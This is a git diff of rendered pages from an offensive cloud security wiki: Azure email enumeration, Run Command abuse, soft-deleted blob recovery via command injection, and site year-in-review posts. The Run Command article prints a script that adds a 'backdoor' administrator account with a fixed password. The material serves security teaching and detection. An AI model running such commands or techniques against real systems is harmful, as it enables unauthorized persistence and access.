      Article by Wes Ladd (@righteousgambit)

      Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses

      You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

      \ No newline at end of file diff --git a/azure/run-command-abuse/index.html b/azure/run-command-abuse/index.html index 2015c22cf..1ff50875e 100644 --- a/azure/run-command-abuse/index.html +++ b/azure/run-command-abuse/index.html @@ -1,4 +1,4 @@ - Run Command Abuse - Hacking The Cloud

      Article by lsass-exe

      Run Command Abuse

      Technique

      MITRE: Execution > Cloud Administration Command

      Run Command is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:

      • Azure Portal,
      • Azure CLI, and
      • PowerShell

      Once configured the script is run via the virtual machine agent installed on the virtual machine.

      A script ran via Run Command runs with the following privleges:

      • System on Windows, and as
      • root on Linux

      In order to use this functionality an identity must have the following role assigned to it: Microsoft.Compute/virtualMachines/runCommands/action

      This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.

      The script that this example will utilise is as follows:

      net user /add backdoor BingoBango123!
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by lsass-exe

      Run Command Abuse

      Technique

      MITRE: Execution > Cloud Administration Command

      Run Command is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:

      • Azure Portal,
      • Azure CLI, and
      • PowerShell

      Once configured the script is run via the virtual machine agent installed on the virtual machine.

      A script ran via Run Command runs with the following privleges:

      • System on Windows, and as
      • root on Linux

      In order to use this functionality an identity must have the following role assigned to it: Microsoft.Compute/virtualMachines/runCommands/action

      This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.

      The script that this example will utilise is as follows:

      net user /add backdoor BingoBango123!
       net localgroup administrators backdoor /add
       

      This script:

      • Creates a new user named backdoor, then
      • Adds the user to the local Administrator group

      This example will use the Azure Portal to create and run the aforementioned script. More information on running these commands via the Azure CLI or PowerShell can be found within the relevant Microsoft documentation.

      Browsing to the virtual machine, we can select the Run Command option, enter our script then execute it, as depicted in the following screenshot:

      Run Command UI

      Once the script has executed, we can authenticate to the virtual machine with our new credentials and check on it's status, as depicted in the following screenshot:

      RDP session using backdoor account

      Here we can see that the script has successfully executed, and the backdoor user has been added to the local Administrator group.

      Detection

      The following operation name can be used to audit and alert on Run Commands being used within a tenant: Microsoft.Compute/virtualMachines/runCommand/action

      Further reading

      • https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command
      • https://learn.microsoft.com/en-us/azure/virtual-machines/linux/run-command

      Article by andrei8055

      Soft Deleted Blobs

      In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

      • A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
      • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
      • Managed Identities

      For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

      Storage Account Keys

      Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.

      The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”.

      Soft Deleted Blob

      Exploiting Soft Deleted Blobs

      Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

      Files

      Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

      Source code

      Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

      Storage Account explorer

      And that we want to use a Connection String

      Connection String

      And we paste the value of the conn_str variable that we found in the source code, and connect:

      Connection info

      On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

      Container

      At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

      Files

      And voila! Right click -> Undelete

      Flag

      Article by andrei8055

      Soft Deleted Blobs

      In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

      • A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
      • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
      • Managed Identities

      For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

      Storage Account Keys

      Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.

      The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”.

      Soft Deleted Blob

      Exploiting Soft Deleted Blobs

      Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

      Files

      Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

      Source code

      Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

      Storage Account explorer

      And that we want to use a Connection String

      Connection String

      And we paste the value of the conn_str variable that we found in the source code, and connect:

      Connection info

      On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

      Container

      At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

      Files

      And voila! Right click -> Undelete

      Flag

      \ No newline at end of file diff --git a/blog/2022_wrap-up/index.html b/blog/2022_wrap-up/index.html index ed715df40..43946d9cb 100644 --- a/blog/2022_wrap-up/index.html +++ b/blog/2022_wrap-up/index.html @@ -1,4 +1,4 @@ - 2022 Wrap-up - Hacking The Cloud

      2022 Wrap-up


      2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

      Numbers

      I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

      • 625 stars gained on GitHub
      • 225 commits committed
      • 73,925 visits
      • 124,278 page views
      • 6,408 average monthly visitors (excluding December)
      • 9,763 average monthly visitors in the past quarter!

      Monthly visitor graph

      November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

      Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

      Yearly visitor graph

      We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

      Some more numbers; this time the most popular articles along with page views:

      1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
      2. CI/CDon't - 5,842 page views.
      3. AWS Organizations Defaults - 5,325 page views.
      4. Connection Tracking - 5,209 page views.
      5. Using Stolen IAM Credentials - 5,043 page views.

      Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

      CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

      Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a "playbook" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

      RSS Feeds!

      If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

      Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

      Plagiarism

      Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

      Hacking the Cloud Copy

      As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

      Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

      I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

      To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

      Feb 2024 Update

      It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

      As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

      Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

      Mastodon

      In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

      Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

      Showing the Mastodon profile page for Hacking the Cloud

      Plans for the Future

      Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call "playbooks"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

      The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

      And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

      Conclusion

      I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

      2022 Wrap-up


      2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

      Numbers

      I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

      • 625 stars gained on GitHub
      • 225 commits committed
      • 73,925 visits
      • 124,278 page views
      • 6,408 average monthly visitors (excluding December)
      • 9,763 average monthly visitors in the past quarter!

      Monthly visitor graph

      November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

      Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

      Yearly visitor graph

      We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

      Some more numbers; this time the most popular articles along with page views:

      1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
      2. CI/CDon't - 5,842 page views.
      3. AWS Organizations Defaults - 5,325 page views.
      4. Connection Tracking - 5,209 page views.
      5. Using Stolen IAM Credentials - 5,043 page views.

      Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

      CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

      Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a "playbook" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

      RSS Feeds!

      If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

      Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

      Plagiarism

      Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

      Hacking the Cloud Copy

      As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

      Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

      I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

      To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

      Feb 2024 Update

      It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

      As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

      Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

      Mastodon

      In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

      Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

      Showing the Mastodon profile page for Hacking the Cloud

      Plans for the Future

      Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call "playbooks"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

      The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

      And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

      Conclusion

      I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

      \ No newline at end of file diff --git a/blog/2023_wrap-up/index.html b/blog/2023_wrap-up/index.html index e203a0eb7..9520318c2 100644 --- a/blog/2023_wrap-up/index.html +++ b/blog/2023_wrap-up/index.html @@ -1,4 +1,4 @@ - 2023 Wrap-up - Hacking The Cloud

      2023 Wrap-up


      2023 is coming to a close and it’s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We’ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

      Numbers

      Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

      • 457 stars gained on GitHub (1389 total)
      • 128 commits committed
      • 96,031 visits
      • 187,542 pageviews
      • 8,238 average monthly visitors (excluding December)
      • And a partridge in a pear tree

      Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

      The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

      An area that I’m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

      1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
      2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
      3. Abusing Managed Identities - 5,703 pageviews.
      4. Using Stolen IAM Credentials - 5,594 pageviews.
      5. Connection Tracking - 4,869 pageviews.

      For the third year running, “Steal EC2 Metadata Credentials via SSRF” is our most popular article, but unlike previous years it’s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we’ll have to check the stats next year.

      In second place, and very close to first, we have “AWS Organizations Defaults & Pivoting”. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

      In third place, we have the first non-AWS article to ever make a top 5 (and I’m pretty sure a top 10), “Abusing Managed Identities”. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I’m excited to see more interest in other cloud providers. If you aren’t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

      If you’re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

      Social media counts

      1. LinkedIn - 42% of links
      2. Twitter - 30% of links
      3. GitHub - 13% of links
      4. Reddit - 9% of links
      5. Facebook - 6% of links
      6. Others - <1%

      LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

      In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

      For my Mastodon fans, I wouldn’t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn’t a very easy way to track it. Personally, I’ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

      Thank you!

      Again, I want to say thank you to everyone who has shared the site’s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

      2023 Wrap-up


      2023 is coming to a close and it’s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We’ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

      Numbers

      Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

      • 457 stars gained on GitHub (1389 total)
      • 128 commits committed
      • 96,031 visits
      • 187,542 pageviews
      • 8,238 average monthly visitors (excluding December)
      • And a partridge in a pear tree

      Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

      The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

      An area that I’m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

      1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
      2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
      3. Abusing Managed Identities - 5,703 pageviews.
      4. Using Stolen IAM Credentials - 5,594 pageviews.
      5. Connection Tracking - 4,869 pageviews.

      For the third year running, “Steal EC2 Metadata Credentials via SSRF” is our most popular article, but unlike previous years it’s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we’ll have to check the stats next year.

      In second place, and very close to first, we have “AWS Organizations Defaults & Pivoting”. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

      In third place, we have the first non-AWS article to ever make a top 5 (and I’m pretty sure a top 10), “Abusing Managed Identities”. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I’m excited to see more interest in other cloud providers. If you aren’t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

      If you’re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

      Social media counts

      1. LinkedIn - 42% of links
      2. Twitter - 30% of links
      3. GitHub - 13% of links
      4. Reddit - 9% of links
      5. Facebook - 6% of links
      6. Others - <1%

      LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

      In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

      For my Mastodon fans, I wouldn’t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn’t a very easy way to track it. Personally, I’ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

      Thank you!

      Again, I want to say thank you to everyone who has shared the site’s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

      \ No newline at end of file diff --git a/blog/v2_new_look/index.html b/blog/v2_new_look/index.html index 9bd004c68..434002fab 100644 --- a/blog/v2_new_look/index.html +++ b/blog/v2_new_look/index.html @@ -1,4 +1,4 @@ - Hacking The Cloud v2: New Look - Hacking The Cloud

      Hacking The Cloud v2: New Look


      Whoa! Things look a little different? You're not imagining it.

      The old look

      The old look.

      Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

      Why the Change?

      When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

      This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

      To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

      Why Material for MkDocs?

      For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, "does this look okay on mobile?".

      By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

      More than that, it's fun and easy to work with.

      If you'd like to support Material for MkDocs you can join me in sponsoring the project.

      What Does This Mean for You?

      Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

      For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

      Hacking The Cloud v2: New Look


      Whoa! Things look a little different? You're not imagining it.

      The old look

      The old look.

      Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

      Why the Change?

      When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

      This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

      To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

      Why Material for MkDocs?

      For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, "does this look okay on mobile?".

      By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

      More than that, it's fun and easy to work with.

      If you'd like to support Material for MkDocs you can join me in sponsoring the project.

      What Does This Mean for You?

      Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

      For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

      \ No newline at end of file diff --git a/feed_json_created.json b/feed_json_created.json index cb94a5b88..4804c89cb 100644 --- a/feed_json_created.json +++ b/feed_json_created.json @@ -1 +1 @@ -{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_created.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_published": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_published": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": 